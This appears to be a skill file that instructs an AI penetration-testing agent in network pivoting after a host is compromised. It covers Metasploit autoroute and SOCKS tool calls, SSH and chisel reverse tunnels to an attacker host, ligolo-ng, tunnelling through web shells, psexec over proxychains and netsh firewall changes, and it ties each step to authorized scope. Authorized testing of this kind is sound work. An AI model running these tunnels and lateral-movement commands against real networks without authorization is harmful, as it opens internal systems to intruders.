pivoting-pentest

name	pivoting-pentest
description	Guides network pivoting and tunneling including SSH tunnels, chisel, ligolo-ng, proxychains, Meterpreter routing, and port forwarding during post-exploitation. Use when reaching unreachable in-scope subnets from a foothold host.

Pivoting Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Active session or shell on a dual-homed or internal foothold host.
• New subnet targets must appear in scope or engagement authorized_cidrs before scanning.

Workflow

Task Progress:
- [ ] Map foothold interfaces and routing table
- [ ] Identify unreachable in-scope subnets from the foothold
- [ ] Select pivot type (SOCKS, port forward, TUN) and tool
- [ ] Establish tunnel; validate with ping/curl/nmap through proxy
- [ ] Run recon on new subnet; log evidence and update world state

Phase 1: Recon foothold

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/gather/ipinfo",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_send_session_command(
  session_id=<sid>,
  command="ipconfig",
  engagement_id="<id>"
)

CLI fallback:

# Linux
ip addr; ip route; arp -a
# Windows
ipconfig /all
route print
arp -a

Pivot type decision tree

Need full subnet routing (layer 3)?
  -> ligolo-ng, sshuttle, Meterpreter autoroute
Need single host:port access?
  -> SSH -L/-R, portfwd, netsh portproxy, socat
Need to proxy arbitrary tools through SOCKS?
  -> chisel, SSH -D, Meterpreter socks_proxy + proxychains
Only HTTP egress from target?
  -> reGeorg, pivotnacci (web SOCKS)
Firewall blocks inbound to attacker?
  -> Reverse SOCKS (chisel R:socks, revsocks)
Multi-hop (A -> B -> C)?
  -> Chain SOCKS: foothold1 SOCKS -> foothold2 SOCKS -> target
  -> Meterpreter autoroute on each hop session

Metasploit pivoting (preferred for MSF sessions)

Autoroute

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/manage/autoroute",
  engagement_id="<id>",
  session_id=<sid>,
  options={"SUBNET": "10.10.20.0", "NETMASK": "255.255.255.0"}
)
msf_send_session_command(
  session_id=<sid>,
  command="run autoroute -s 10.10.20.0/24",
  engagement_id="<id>"
)

CLI fallback:

# In msfconsole on compromised host with manual route
route add 10.10.20.0/24 <gateway_ip>

MCP Route Tools

Use the dedicated MCP tools for route management instead of raw console commands:

• msf_route_list - List all active routes
• msf_route_add(engagement_id, subnet, netmask, session_id) - Add route through session (subnet must be in scope)
• msf_route_delete(engagement_id, subnet, netmask) - Remove a route
• msf_autoroute(engagement_id, session_id, subnet?) - Auto-add routes via post/multi/manage/autoroute

SOCKS proxy

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/manage/socks_proxy",
  engagement_id="<id>",
  session_id=<sid>,
  options={"VERSION": 4, "PORT": 1080}
)

CLI fallback:

# msfconsole
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4
run -j

Chain with proxychains on attacker host (port 1080).

Port forwarding

MSF MCP (preferred):

msf_send_session_command(
  session_id=<sid>,
  command="portfwd add -l 3389 -p 3389 -r 10.10.20.5",
  engagement_id="<id>"
)
msf_run_post_module(
  module_name="post/multi/manage/portfwd",
  engagement_id="<id>",
  session_id=<sid>,
  options={"LPORT": 3389, "RHOST": "10.10.20.5", "RPORT": 3389}
)

CLI fallback:

ssh -L 3389:10.10.20.5:3389 user@foothold
socat TCP-LISTEN:3389,fork TCP:10.10.20.5:3389

SSH tunneling

MSF: No direct module; use CLI.

CLI fallback:

ssh -L 1080:10.10.20.5:3389 user@foothold          # local forward
ssh -R 8080:127.0.0.1:80 user@attacker             # remote forward
ssh -N -f -D 1080 user@foothold                    # dynamic SOCKS
sshuttle -vvr user@foothold 10.10.20.0/24          # transparent VPN

Chisel

MSF: No direct module; use CLI.

CLI fallback:

# Attacker server
chisel server -p 8008 --reverse
# Foothold client
chisel client ATTACKER_IP:8008 R:socks
# Attacker uses SOCKS at 127.0.0.1:1080
chisel server --tls-cert cert.pem --tls-key key.pem -p 8443 --reverse
chisel client --tls-skip-verify https://ATTACKER:8443 R:socks

Ligolo-ng (TUN interface)

MSF: No direct module; use CLI.

CLI fallback:

# Attacker
./proxy -selfcert
# proxy console: session, interface_create --name ligolo, route_add --route 10.10.20.0/24, tunnel_start
# Agent on foothold
./agent -connect ATTACKER:11601

rpivot (SOCKS over HTTP proxy)

MSF: No direct module; use CLI.

CLI fallback:

# When foothold only has HTTP proxy egress
# Attacker: rpivot server
python3 server.py --port 9999
# Foothold: rpivot client through corporate proxy
python3 client.py --server ATTACKER:9999 --proxy http://corp-proxy:8080
# Attacker SOCKS on localhost:9999
proxychains nmap -sT -Pn 10.10.20.5

Use when HTTP CONNECT proxy is the only outbound path.

Multi-hop pivot scenario

MSF MCP (preferred):

# Session 1 on DMZ host: route internal subnet
msf_run_post_module(
  module_name="post/multi/manage/autoroute",
  engagement_id="<id>",
  session_id=1,
  options={"SUBNET": "10.10.20.0", "NETMASK": "255.255.255.0"}
)
msf_run_post_module(
  module_name="post/multi/manage/socks_proxy",
  engagement_id="<id>",
  session_id=1,
  options={"PORT": 1080}
)
# Exploit/pivot to 10.10.20.5 -> Session 2
msf_run_post_module(
  module_name="post/multi/manage/autoroute",
  engagement_id="<id>",
  session_id=2,
  options={"SUBNET": "10.10.30.0", "NETMASK": "255.255.255.0"}
)
msf_run_post_module(
  module_name="post/multi/manage/socks_proxy",
  engagement_id="<id>",
  session_id=2,
  options={"PORT": 1081}
)

CLI fallback:

# Hop 1: SSH SOCKS to DMZ
ssh -D 1080 user@dmz
# Hop 2: through proxychains on 1080, SSH SOCKS to internal
proxychains ssh -D 1081 user@10.10.20.5
# Hop 3: scan deeper subnet
proxychains4 -f /etc/proxychains-hop2.conf nmap -sT -Pn 10.10.30.0/24

Proxychains

MSF: No direct module; use CLI.

CLI fallback:

# /etc/proxychains.conf
dynamic_chain
proxy_dns
[ProxyList]
socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 10.10.20.5
proxychains curl http://10.10.20.5
proxychains impacket-psexec domain/user:pass@10.10.20.5

Note: -sT (connect scan) works through SOCKS; raw SYN scan does not.

Web-based SOCKS (HTTP-only egress)

reGeorg

MSF: No direct module; use CLI.

CLI fallback:

python reGeorgSocksProxy.py --listen-port 8080 --url http://foothold/shell.jsp

pivotnacci

MSF: No direct module; use CLI.

CLI fallback:

pivotnacci https://foothold/agent.php --password "secret" --polling-interval 2000

Windows netsh portproxy

MSF: No direct module; use CLI.

CLI fallback:

netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.10.20.5
netsh advfirewall firewall add rule name="fwd3389" dir=in action=allow protocol=TCP localport=3389

Validation checklist

MSF MCP (preferred):

msf_db_nmap(
  engagement_id="<id>",
  targets="10.10.20.5",
  nmap_args="-sV -sC -p 22,80,445,3389"
)

CLI fallback:

proxychains nmap -sT -Pn -p 22,80,445 10.10.20.5
proxychains curl -I http://10.10.20.5

Log tunnel type, ports, routes in world state. Verify new targets are in scope.

Tool comparison

Tool	SOCKS	TUN	Reverse	HTTPS
SSH -D	Yes	No	No	No
chisel	Yes	No	Yes	Yes
ligolo-ng	No	Yes	Yes	Yes
Meterpreter	Yes	No	Yes	No
rpivot	Yes	No	Yes	Yes (via proxy)

Related skills

• internal-ad-pentest - AD lateral movement after subnet reachability
• msf-post - session commands, post modules
• hacktricks-methodology - service enumeration on newly reachable targets
• linux-pentest - Linux foothold routing and tunnel setup
• windows-pentest - Windows foothold routing and tunnel setup